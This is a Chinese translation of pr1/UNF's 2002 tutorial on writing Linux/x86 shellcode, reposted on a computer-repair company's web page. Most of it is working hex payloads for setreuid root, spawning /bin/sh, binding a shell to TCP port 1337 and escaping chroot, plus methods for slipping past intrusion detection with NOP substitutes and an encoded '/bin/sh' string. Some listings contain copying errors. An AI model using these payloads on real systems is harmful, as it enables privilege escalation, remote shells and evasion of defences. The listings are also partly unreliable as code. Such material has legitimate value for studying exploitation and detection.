设为主页 | 加入收藏 | 繁體中文

UNF && pr1 present: Writing Linux/x86 shellcodes

  UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.
  翻译:1cbm(1cbm)
  UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.
  =============================================
  作者 : pr1 ( pr10n@u-n-f.com )
  翻译 : ICBM@cmmail.com
  非常谢谢keji指出并改正了原文和翻译中出现的错误,Sank u !
  http://www.airarms.org
  http://icbm.n3.net
  =============================================
  -----------------------------------------------------------------------------------------------
  Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)
  The following material is property of UNF && pr1.
  Do not redistribute this article modified and give proper credit to UNF and pr1 if you
  redistribute it or if you write your own article based upon the following material.
  -----------------------------------------------------------------------------------------------
  1.先容
  在网上并没有几篇好文章先容怎样编写shellcode,而且很不幸,阅读它们需要有很富厚的汇编知识,以是在这篇文章里我会给各人先容Linux/x86汇编知识,并且解说怎样为Linux/x86誊写shellcode。但是,这篇文章中对付ASM的先容并不完整,我只是讲到一些在对付编写shellcode方面很紧张的部门。我会很好的解释文章里出现过的代码,但是任何工具都代替不了一本好的ASM书籍和一个反编译器。:)
  1.2. shellcode是什么
  简略地说shellcode便是一组CPU指令。为什么叫做shellcode呢?是由于第一个shellcode只是简略的获得一个shell。实际上这种功能已经非常原始了:)。由于已经有了长途的shellcode(有UDP也有TCP),粉碎chroot的shellcode,给文件加一行信息的shellcode,setreuid的shellcode等等...由于每小我私家都这样叫它shellcode以是我会在全文中使用shellcode一词。
  1.3. 我们用shellcode来做什么?
  在我们接管了一个进程(盼望是root运转的 suid|sgid|deamon)以后,我们通常会让它做一些有效的事变。这里有许多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 要是你不能实行其它函数来完成你需要的任务(像重写函数指针, ...)你就大概需要使用到shellcode。或许只是简略的用某些缓冲地点来改写%eip,然后向后跳到一组NOPS指令中,你的CPU会从已经被改写过的%eip中向前取址.当你已经编好了一个毛病攻击步伐,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开端处,它就会被运转.这样你就赢了!
  1.4 我要怎样写shellcode
  好了,如今让我们举行这篇文章的主要部门.我如今假定你至多有一定的c言语知识.
  =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
  2.汇编
  ASM是一种低级编程言语。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有许多寄存器,拜访这些寄存器要比直接拜访内存快得多。你可以经过给寄存器赋值来告诉你的步伐要做什么。最紧张的寄存器有:%eax,%ebx,%ecx,%edx,%esp,%esi,%eip,%edi。全部32位CPU的寄存器都是4字节长。你大概以为这些寄存器的名字获得没有一点创意,但你错了:
  # %eax 是累加器。当有体系调用产生时内核会查抄%eax中的值,这个值会被用作体系调用号(每个内核提供的体系调用都有它自己的体系调用号).你可以在/usr/include/asm/unistd.h中具体查找这些体系调用号。
  # %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面.
  # %ecx 第二个参数.
  # %edx 第三个参数.
  # %esp 是货仓指针寄存器,它指向以后货仓贮存区域的顶部.
  # %ebp 是基址寄存器,它指向以后货仓贮存区域的底部.
  # %eip 是指令指针(在缓冲区溢出中对我们最有效的寄存器)
  # %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据)(译者:原文为%eip and %edi)
  2.1 修改寄存器:
  有许多下令可以用来修改寄存器.你可以经过给一条指令增长后缀来修改一个字节,一个字大概整个寄存器.
  比方:movl,movb,movw (long,byte,word)
  # mov ...mov指令用来把某值传送到一个寄存器中(数字大概另一个寄存器的内容...).在AT&T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边.
  # inc,dec ...增长大概减少寄存器的值.
  # xor ... 这是位运算操作(包罗 not,or,and,xor和neg).
  在处置惩罚shellcode时xor饰演了一个很特别的脚色.
  在这里解释一下xor的根本操作:
  1异或0为:1,0和0为:0,1和1为:0,因而 xor 4,4是0(100 xor 100 ==000);
  #leal ...(表现读取一个long型的有效地点)你可以使用这个指令把一段内存的地点读取到寄存器中.
  # int $0x80这是一此停止.简略地说是用来切换到内核模式然后让内核实行我们的函数.
  # push,pop ...在货仓上读取存储数据.
  注意:你可以拜访一个寄存器低端字中的高字节大概低字节(%al,%ah),一个寄存器中的低端字大概整个(扩展)寄存器(%eax).但是没有方法拜访一个寄存器的高端字.
  寄存器可以以字节方法(%al,%bh,...),字方法(%ax,%bx,...)和整个方法(%eax,%ebx,...)拜访.
  预备了这些知识后我可以写一些asm代码然后再写一些shellcode.
  让我们用一个Hello, world开端:) (这是没有措施来代替的)
  .data
  message:
  .string "Hello, world\n"
  .globl main
  main:
  # write(int fd,char *message,ssize_t size);
  movl $0x4,%eax # 把/usr/include/asm/unistd.h里界说的体系调用4放到%eax中
  movl $0x1,%ebx # 标准输出文件描述符(stdout)
  movl $message,%ecx # 把message的地点放到%ecx中
  movl $0xc,%edx # message的长度
  #exit(int returncode);
  movl $0x1,%eax # 体系调用号1
  xorl %ebx,%ebx # %ebx置零
  inr $0x80
  注意:这一段代码应为两个原因不能作为shellcode:
  1. 不是相对地点(由于界说了一个数据段)
  2. 由于字符串中包含零字符会停止对付字符串的一样平常操作.
  别着急!如今我就会解释制造shellcode的整个过程 ;)
  =-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=
  3. 誊写shellcode
  3.1 Setreuid shellcode:
  我们先从setreuid(0,0)这个小而简略的shellcode开端.
  要是步伐在有毛病的函数实行前往掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid大概一个seteuid shellcode.
  C代码看起来大概是这个样子:
  #include
  main(void) {
  setreuid(0,0);
  exit(0);
  }
  080483b0 :
  80483b0: b8 46 00 00 00 movl $0x46,%eax
  80483b5: bb 00 00 00 00 movl $0x0,%ebx
  80483ba: b9 00 00 00 00 movl $0x0,%ecx
  80483bf: cd 80 int $0x80
  80483c1: 8d 76 00 lea 0x0(%esi),%esi
  80483c4: 90 nop
  80483c5: 90 nop
  80483c6: 90 nop
  80483c7: 90 nop
  80483c8: 90 nop
  80483c9: 90 nop
  80483ca: 90 nop
  80483cb: 90 nop
  80483cc: 90 nop
  80483cd: 90 nop
  80483ce: 90 nop
  80483cf: 90 nop
  这便是由我们的编译器天生的整个主函数.但是我们只需要setreuid段:
  80483b0: b8 46 00 00 00 movl $0x46,%eax
  80483b5: bb 00 00 00 00 movl $0x0,%ebx
  80483ba: b9 00 00 00 00 movl $0x0,%ecx
  80483bf: cd 80 int $0x80
  因而setreuid shellcode便是这样:
  "\xb8\x46\x00\x00\x00"
  "\xbb\x00\x00\x00\x00"
  "\xb9\x00\x00\x00\x00"
  "\xcd\x80"
  要是你把下面这个shellcode整个看了一遍,你大概会注意到此中的NULL字节(\x00)比指令还多。但不幸的是我们不能在shellcode中使用任何NULL。由于通常我们要溢出的是c步伐,但是在c言语中没有字符串数据类型。而是使用一个字节长的指针(char *)指向内存中的一个字节,一个NULL出如今字符串的末端。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会制止拷贝,以为它们以为NULL便是字符串的末端。
  因而但我们溢出一个步伐时,只要"\xb8\x46\"会被从我们的setreuid shellcode 中拷贝出来。
  如今我们所要做的便是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数:
  80483b0: b8 46 00 00 00 movl $0x46,%eax
  80483b5: bb 00 00 00 00 movl $0x0,%ebx
  80483ba: b9 00 00 00 00 movl $0x0,%ecx
  我们必需找到同等的不产生NULL字节的指令:
  80483b0: b8 46 00 00 00 movl $0x46,%eax
  这个指令被编码成[opcode|destination][4 byte immediate value]。由于我们的立刻数只是0x46而操作类型long中的其它字节就没有被使用到。
  我们可以写成:
  80483c6: 31 c0 xorl %eax,%eax
  80483c8: b0 46 movb $0x46,%al
  xorl使%eax清零,由于当我们转变低8位的工夫我们不能确定%eax能否为空。要是我们没有把寄存器清零当%ah中有其它数值的话内核大概会实行错误的体系调用。movb指令被编码成[opcode|register][1 byte immediate value]款式,以是我们可以在一字节里使用到最大数255。
  以下是逻辑上相称的但没有NULL的setreuid代码:
  80483b0: 31 c0 xorl %eax,%eax
  80483b2: 31 db xorl %ebx,%ebx
  80483b4: 31 c9 xorl %ecx,%ecx
  80483b6: b0 46 movb $0x46,%al
  80483b8: cd 80 int $0x80
  这是我们可以工作的shellcode:
  "\x31\xc0"
  "\x31\xdb"
  "\x31\xdb"
  "\xb0\x46"
  "\xcd\x80"
  除了没有NULL之外,一个好的shellcode应该尽大概小。shellcode越小可以放入缓存中的NOPs就越多,因而增长了料中精确返回地点的机会。
  3.2 Making your shellcode portable:
  你大概不会知道长途体系太多的信息。大概你没有充足的权限来找出长途体系上的信息。大概你甚至还没有拜访长途体系的权限。这样一些原因不要让你写出shellcode只能适用于一种体系。因而在写shellcode时不要使用相对地点,你需要的数据恰幸亏精确的地点的机会很小。通常写shellcode时要使用相对地点。
  e.g:我们不会写成:jmp 0x80483b8而我们写成:jmp $0x1a
  3.3 获得shell的shellcode:
  用c获得一个shell是这样的:
  #include
  main(void) {
  char *name[2];
  name[0]="/bin/sh";
  name[1]=NULL;
  execve(name[0],name,NULL);
  }
  就像你所看到的,我们需要一个字符串( "/bin/sh" )让execve知道我们想要运转什么。但是我们必需找到引用"/bin/sh"的相对地点。
  要是你相识一些关于Intel构架和通用CPU构架的知识,你就大概会知道要被实行的下一条指令的内存地点被寄存在%eip中通常被叫做pc大概program counter。要是步伐调用了一个子函数,子函数返回后将要实行的指令的地点一定会被存储到某个中央。
  相关于一些Risc CPU这个地点可以像这样被存储的寄存器种:
  jal addy,reg /* 跳转到addy然后把pc+4存储到reg */
  jr reg /* 我们的子函数返回跳转到存储在reg中的addy */
  对付我们的Intel Cisc:
  call sub_func /* 跳到子函数然后把%eip+4压入货仓 */
  ret /* 函数跳回到货仓上存储的地点 */
  我们可以说下一条指令的地点被call压入货仓中。
  因而我们可以使用一个小秘诀:
  call some_offset /* 调用被压入货仓的"/bin/sh" ( pc+4 )的地点 */
  .string "/bin/sh"
  注意到字符串"/bin/sh"位于.text ( 大概code )段。CPU不应该实行这段代码:"/bin/sh"(2f62696e2f7368)由于它只是我们需要的字符串,以是我们应该让CPU跳过实行这段代码。
  让我们来看一个失掉这个字符串"/bin/sh"的地点,并且可以或许避免实行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。
  .globl main
  main:
  jmp to_call
  after_jmp:
  popl %esi /* 地点如今已经在%esi里了 */
  /* 退出 */
  xorl %eax,%eax
  incl %eax
  int $0x80
  to_call:
  call after_jmp (译者:原文为call offset)
  .string "/bin/sh"
  我们跳到call让它工作,然后返回,从货仓pop出地点然后退出。
  static char lnx_execve[]=
  "\xeb\x1d" // jmp 0x1d /* 失掉 "/bin/sh" 地点 */
  "\x5b" // popl %ebx /* 出栈 "/bin/sh" 的地点 */
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 把地点拷贝到 %ebx+0x8 */
  "\x88\x43\x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的竣事符 */
  "\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的竣事符 */
  "\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地点读到 %ecx */
  "\x8d\x53\x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */
  "\xb0\x0b" // movb $0xb,%al /* 实行体系调用 */
  "\xcd\x80" // int $0x80
  "\x31\xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */
  "\x21\xd8" // andl %ebx,%eax
  "\x40" // incl %eax
  "\xcd\x80" // int $0x80
  "\xe8\xde\xff\xff\xff" // call -0xde
  "/bin/sh";
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.0 更高级的Shellcodes:
  顾及到长途溢出我们需要其它种类的shellcode。我们不能只从长途获得一个shell。因而我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写:
  #include
  #include
  #include
  #include
  #include
  main(void) {
  char *exec[2];
  int fd,fd2;
  struct sockaddr_in addy;
  addy.sin_addr.s_addr = INADDR_ANY;
  addy.sin_port = htons(1337);
  addy.sin_family = AF_INET;
  exec[0]="/bin/sh";
  exec[1]="sh";
  fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  bind(fd,&addy,sizeof(struct sockaddr_in));
  listen(fd,1);
  fd2 = accept(fd,NULL,0);
  dup2(fd2,0);
  dup2(fd2,1);
  dup2(fd2,2);
  execl(exec[0],exec,NULL);
  }
  对c言语来说这是一个非常简略的工作。如今我们用汇编言语实验异样的工具。
  4.1. Socket 体系调用
  通常体系调用数被放到%eax中然后将其它的参数放入背面的寄存器中。在使用内核停止后我们的工作就被完成了。函数退出时的参数会多于寄存你的参数的寄存器数,因而只是简略的把你的参数寄存到用户内存区域然后再把它地点存到一个寄存器中。
  触及到socket体系调用( socket, bind, listen, accept,... )这就有点不同了。每一个socket调用都是用体系调用数0x66。以是内核是怎样知道使用那一个体系调用呢?这是经过使用寄存在%ebx中的一个子码来完成的。
  一些紧张的的子码:
  socket() 1
  bind() 2
  listen() 4
  accept() 5
  请查看。
  4.2. Sockaddr_in的数据布局:
  我们还得看看Sockaddr_in的数据布局:
  struct sockaddr_in {
  uint8_t sin_len; /* 数据布局的长度,在这里对付AF_INET(ipv4)是0x10。2 字节 */
  sa_family_t sin_family; /* 2字节包含AF_INET(界说为2)*/
  in_port_t sin_port; /* 2字节的TCP大概UDP端口数 */
  struct in_addr sin_addr /* 4 字节,通常包含办事器地点但是我们想帮定我们自己的地点一次让它为0(对付INADDR_ANY异样) */
  char sin_zero[8]; /* 也应该为0 */
  };
  4.3.端口绑定 shellcode:
  static char bind[]=
  /* socket(int domain, int type, int protocol); */
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x46\x10" // movl %eax, 0x10(%esi) /* 第三个参数IPPROTO_TCP */
  "\x40" // incl %eax
  "\x89\xc3" // movl %eax, %ebx
  "\x89\x46\x0c" // movl %eax, 0xc(%esi) /* 第二个参数SOCK_STREAM */
  "\x40" // incl %eax
  "\x89\x46\x08" // movl %eax, 0x8(%esi) /* 第一个参数AF_INET */
  "\x8d\x4e\x08" // leal 0x8(%esi), %ecx
  "\xb0\x66" // movb $0x66, %al
  "\xcd\x80" // int $0x80
  /* listen(int fd, int backlog); */
  "\x43" // incl %ebx
  "\x88\x46\x04" // movb %al,0x4(%esi) /* 生存从socket返回的fd */
  "\x31\xc0" // xorl %eax,%eax
  "\xc6\x46\x0c\x10" // movb $0x10,0xc(%esi) /* sockaddr_in的长度 */
  "\x66\x89\x5e\x10" // movb %bx,0x10(%esi) /* AF_INET */
  "\x89\x46\x14" // movl %eax,0x14(%esi) /* INADDR_ANY */
  "\x89\xc2" // movl %eax,%edx
  "\xb0\x90" // movw $0x90,%al /* sin_port */
  "\x66\x89\x46\x12" // movb %ax,0x12(%esi)
  "\x8d\x4e\x10" // leal 0x10(%esi),%ecx
  "\x89\x4e\x08" // movl %ecx,0x8(%esi) /* 把struct生存到offset 0x8 */
  "\x8d\x4e\x04" // leal 0x4(%esi),%ecx /* 把struct和fd生存到%ecx */
  "\xb0\x66" // movb $0x66,%al
  "\xcd\x80" // int $0x80
  /* bind(int fd, struct sockaddr_in *my_addy, socklen_t addrlen); */
  "\x89\x5e\x08" // movl %ebx,0x8(%esi)
  "\x43" // incl %ebx
  "\x43" // incl %ebx
  "\xb0\x66" // movb $0x66,%al
  "\xcd\x80" // int $0x80
  /* accept(int fd, struct sockaddr_in *addy, socklen_t *addrlen); */
  "\x89\x56\x08" // movl %edx,0x8(%esi) /* addy为指向NULL的指针 */
  "\x89\x56\x0c" // movl %edx,0xc(%esi) /* addrlen也是指向NULL的指针 */
  "\x43" // incl %ebx
  "\xb0\x66" // movb $0x66,%al
  "\xcd\x80" // int $0x80
  /* dup2(int old, int new) */
  "\x86\xc3" // xchg %al,%bl /* 从accept返回的fd是第一个参数 */
  "\x31\xc9" // xorl %ecx,%ecx /* stdin */
  "\xb0\x3f" // movb $0x3f,%al
  "\xcd\x80" // int $0x80
  "\x41" // incl %ecx /* stdout */
  "\xb0\x3f" // movb $0x3f,%al
  "\xcd\x80" // int $0x80
  "\x41" // incl %ecx /* stderr */
  "\xb0\x3f" // movb $0x3f,%al
  "\xcd\x80" // int $0x80
  /* execve(cons char *filename, char *const argv[], char *const envp[]); */
  "\xeb\x1d" // jmp 0x1d /* 获得"/bin/sh"的地点 */
  "\x5b" // popl %ebx /* "/bin/sh"的地点出栈 */
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 拷贝地点到%ebx+0x8 */
  "\x88\x43\x07" // movb %al,0x7(%ebx) /* 停止字符串的NULL */
  "\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 停止参数的NULL */
  "\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh"的地点放入%ecx */
  "\x8d\x53\x0c" // leal 0xc(%ebx),%edx
  "\xb0\x0b" // movb $0xb,%al /* execve体系调用 */
  "\xcd\x80" // int $0x80
  "\x31\xc0" // xorl %eax,%eax
  "\x21\xd8" // andl %ebx,%eax
  "\x40" // incl %eax
  "\xcd\x80" // int $0x80
  "\xe8\xde\xff\xff\xff" // call -0xde
  "/bin/sh";
  注意: 这个shellcode还没有被完全优化,以是看起来有些痴肥.在execve部门它可以被进一步优化( 它是我们原始的execve代码)。为了更适合阅读以是我没有完全优化它,由于我们的目的只是展示怎样去写一个绑定端口的shellcode.
  =-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-=
  5. Chroot breaking shellcode:
  注意: 在linux内核2.4.6到2.4.13之间chroot被转变了。以是这个方法只工作在kernels
  <= 2.4.5。
  有时有些守护进程像ftps,httpd,...运转在所谓的change-root圈套中。
  这就意味着你的home文件夹被转变到path = "/"里,因而你的homedir是/(注意这并不是真正的根目录)你不能实行cd .. 。也不能获得一个shell由于/home/pr1/bin/sh并不真是存在(要是我们假定/home/pr1被设置成根目录)。对付计算宁静来说很不幸,你可以跳出这个限制。
  这是一个非常简略的任务:
  * 创建一个其它文件夹
  * chroot到这个文件夹
  * 使用chroot("../../../");
  这是我们跳出chroot限制的c步伐:
  #include
  main(void) {
  mkdir("pr1",0755);
  chroot("pr1");
  chroot("../../../../../../../../../../");
  }
  Note: 我们用汇编创建一个名叫sh的文件夹. 我们可以使用我们要实行的shell的字符串来作为文件夹名. 这样我们可以缩减并且简化我们的代码. :)
  static char chroot[]=
  "\xeb\x4e" // jmp 0x4e
  /* mkdir(); */
  "\x31\xc0" // xorl %eax,%eax
  "\x5e" // popl %esi /* 如今/bin/sh的地点在%esi里 */
  "\x8d\x5e\x05" // leal 0x5(%esi),%ebx /* sh的地点到%ebx里 */
  "\x66\xb9\xed\x01" // movw $0x1ed,%cx /* 0755 mode flag */
  "\xb0\x27" // movb $0x27,%al /* 体系调用mkdir */
  "\xcd\x80" // int $0x80
  /* chroot(); */
  "\x31\xc0" // xorl %eax,%eax
  "\xb0\x3d" // movb $0x3d,%al /* 体系调用chroot,sh还在%ebx里 */
  "\xcd\x80" // int $0x80
  /* chroot("../"); */
  "\x31\xc0" // xorl %eax,%eax
  "\xbb\xd2\xd1\xd1\xff" // movl $0xffd0d1d1,%ebx
  "\xf7\xdb" // negl %ebx
  /* We put "../" into %ebx.
  * "../" encodes into "\x2e\x2e\x2f" intel is little endian and we thus have to put
  * "\x2f\x2e\x2e" into the register. Thus we put 0xffd0d1d1 into %ebx and perform a not
  * on this value. This results in our wished "\x2f\x2e\x2e".
  */
  "\x31\xc9" // xorl %ecx,%ecx
  "\xb1\x10" // movb $0x10,%cl /* 循环16次 */
  "\x56" // pushl %esi /* 生存字符串"/bin/sh" */
  /* 界说段寄存器。从0x10(%esi)开端 */
  "\x01\xce" // addl %ecx,%esi
  "\x89\x1e" // movl %ebx,(%esi) /* 写入到esi指向的地点中 */
  "\x83\xc6\x03" // addl %0x3,%esi /* 累加段寄存器 */
  "\xe0\xf9" // loopne -0x7
  "\x5e" // popl %esi /* 字符串"/bin/sh"出栈 */
  "\xb0\x3d" // movb $0x3d,%al /* 体系调用chroot */
  "\x8d\x5e\x10" // leal 0x10(%esi),%ebx /* 这便是我们的../../..字符串 */
  "\xcd\x80" // int $0x80
  /* execve */
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x76\x08" // movl %esi,0x8(%esi)
  "\x89\x46\x0c" // movl %eax,0xc(%esi)
  "\xb0\x0b" // movb $0xb,%al
  "\x89\xf3" // movl %esi,%ebx
  "\x8d\x4e\x08" // leal 0x8(%esi),%ecx
  "\x8d\x56\x0c" // leal 0xc(%esi),%edx
  "\xcd\x80" // int $0x80
  /* exit */
  "\x31\xc0" // xorl %eax,%eax
  "\x21\xd8" // andl %ebx,%eax
  "\x40" // incl %eax
  "\xcd\x80" // int $0x80
  "\xe8\xad\xff\xff\xff" // call -0xad
  "/bin/sh";
  注意: 这个本领不是来自于TaeHo的chroot shellcode.
  =-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-==-=-=-=-=-=-=
  6. IDS-evasive Codes:
  一些入侵监测体系经过计算收到的数据包中的NOP或类似于NOP的指令来检测能否为有害代码。 (要是你不知道NOP是什么:它是一条什么任务都不做的指令,在攻击代码中被用来获得最大的料中精确buffer地点的机会。要是你实行到一个NOP,代码就会继续实行直到遇到你的shellcode。)
  然而这种技术可以被骗过:
  第一种方法是使用1 byte jump:
  把\x90 ( nop )更换为"\xeb\x01" ( jmp 0x1 )
  另一种方法是使用其它NOP类似的指令好比:
  incl %eax,incl %ebx,incl %ecx,incl %edx:
  编码为: \x40,\x43,\x41,\x42
  你当然也可以把它们混淆起来使用。
  别的一种很好的方法:
  movl $0x41414141,%eax
  编码为: \xb8\x41\x41\x41\x41
  假定你实行到了一个\x41 ->cpu会实行incl %ecx直到碰到\xb8后%eax会被写入0x41414141。
  你可以把它和下面的指令混淆起来使用:
  movl $0x43434343,%ebx
  编码为: \xbb\x43\x43\x43\x43 会有相同结果。
  6.1. Hiding the "/bin/sh" string:
  另一种检测攻击代码的方法是查找像"/bin/sh"一类的字符串。写一个
  把全部小写子母转换成大写子母的步伐。
  #include
  main(int argc,char *argv[]) {
  char buf[512];
  int i;
  for(i=0;iargv[1][i] = toupper( argv[1][i] );
  }
  printf("%s\n",argv[1]);
  }
  我们平凡的shell spawning shellcode为:
  "\xeb\x1d" // jmp 0x1d
  "\x5b" // popl %ebx
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x5b\x08" // movl %ebx,0x8(%ebx)
  "\x88\x43\x07" // movb %al,0x7(%ebx)
  "\x89\x43\x0c" // movl %eax,0xc(%ebx)
  "\x8d\x4b\x08" // leal 0x8(%ebx),%ecx
  "\x8d\x53\x0c" // leal 0xc(%ebx),%edx
  "\xb0\x0b" // movb $0xb,%al
  "\xcd\x80" // int $0x80
  "\x31\xc0" // xorl %eax,%eax
  "\x21\xd8" // andl %ebx,%eax
  "\x40" // incl %eax
  "\xcd\x80" // int $0x80
  "\xe8\xde\xff\xff\xff" // call -0xde
  "/bin/sh";
  小写字母在 \x61 (a) 到 \x7a (z)之间。
  除了字符串"/bin/sh"我们的shellcode不包含任何小写字母。
  把字符串"/bin/sh"写成十六进制:\x2f\x62\x69\x6e\x2f\x73\x68
  要是我们把字符串里全部的字母都减去20就会失掉:
  "\x2f\x42\x49\x4e\x2f\x53\x48"。但是我们经过给它们加上$0x20转变这个值,要不我们就会实行 "\x2f\x42\x49\x4e\x2f\x53\x28" 而不是"/bin/sh".由于"/"不是字母以是我们可以不用管它。
  static char hide[]=
  "\xeb\x31" // jmp 0x31
  "\x5b" // popl %ebx
  "\x80\x43\x01\x20" // addb $0x20,0x1(%ebx) <- we simply add 0x20 to our string
  "\x80\x43\x02\x20" // addb $0x20,0x2(%ebx)
  "\x80\x43\x03\x20" // addb $0x20,0x3(%ebx)
  "\x80\x43\x05\x20" // addb $0x20,0x5(%ebx)
  "\x80\x43\x06\x20" // addb $0x20,0x6(%ebx)
  "\x31\xc0" // xorl %eax,%eax
  "\x89\x5b\x08" // movl %ebx,0x8(%ebx)
  "\x88\x43\x07" // movb %al,0x7(%ebx)
  "\x89\x43\x0c" // movl %eax,0xc(%ebx)
  "\x8d\x4b\x08" // leal 0x8(%ebx),%ecx
  "\x8d\x53\x0c" // leal 0xc(%ebx),%edx
  "\xb0\x0b" // movb $0xb,%al
  "\xcd\x80" // int $0x80
  "\x31\xc0" // xorl %eax,%eax
  "\x21\xd8" // andl %ebx,%eax
  "\x40" // incl %eax
  "\xcd\x80" // int $0x80
  "\xe8\xca\xff\xff\xff" // call -0xca
  "\x2f\x42\x49\x4e\x2f\x53\x48"; // 隐蔽的字符串/bin/sh
  要是在你的shellcode里有包含任何小写字母的指令,可以把这个指令减去其它逻辑相称的.
  =-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=
  7. Post word:
  拥有了这些知识后你如今可以写出自己的shellcode了。我盼望你能在这篇文章中找到阅读的兴趣,要是浪费了你的工夫我感到很歉仄。
  要是有什么意见可以mail我:
  Written by pr1 ( pr10n@u-n-f.com ).
  greets to: teso, usf and thc
  -----------------------------------------------------------------------------------------------
  \x00
  -----------------------------------------------------------------------------------------------
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: